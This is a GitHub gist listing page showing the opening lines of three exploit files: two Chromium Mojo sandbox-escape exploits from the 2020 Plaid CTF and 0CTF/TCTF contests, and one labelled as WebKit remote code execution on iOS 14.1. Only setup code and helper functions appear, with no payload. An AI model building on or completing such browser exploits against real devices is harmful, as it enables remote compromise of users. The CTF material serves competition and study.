Skip to content

Instantly share code, notes, and snippets.

@ujin5
ujin5 / exploit.html
Created April 20, 2020 00:11
2020 Plaid CTF mojo
<html>
<body></body>
<script src="../mojo/public/js/mojo_bindings.js"></script>
<script src="../third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"></script>
<script src="../third_party/blink/public/mojom/blob/blob_registry.mojom.js"></script>
<script>
var heap;
var replace_data;
var count = 0;
var blob_registry_ptr = new blink.mojom.BlobRegistryPtr();
@ujin5
ujin5 / exploit.html
Created June 29, 2020 02:20
0CTF/TCTF 2020 Quals Chromium
<script id="worker1">
worker:{
if (typeof window === 'object') break worker;
self.onmessage = function() {
console.log("onmessage")
}
}
</script>
<script src="../mojo_bindings.js"></script>
<script src="../third_party/blink/public/mojom/tstorage/tstorage.mojom.js"></script>
@ujin5
ujin5 / fuck.js
Last active December 17, 2024 05:58
WebKit RCE on ios 14.1
function sleep( sleepDuration ){
var now = new Date().getTime();
while(new Date().getTime() < now + sleepDuration){ /* do nothing */ }
}
function gc() {
for (let i = 0; i < 0x10; i++) {
new ArrayBuffer(0x1000000);
}
}
let data_view = new DataView(new ArrayBuffer(8));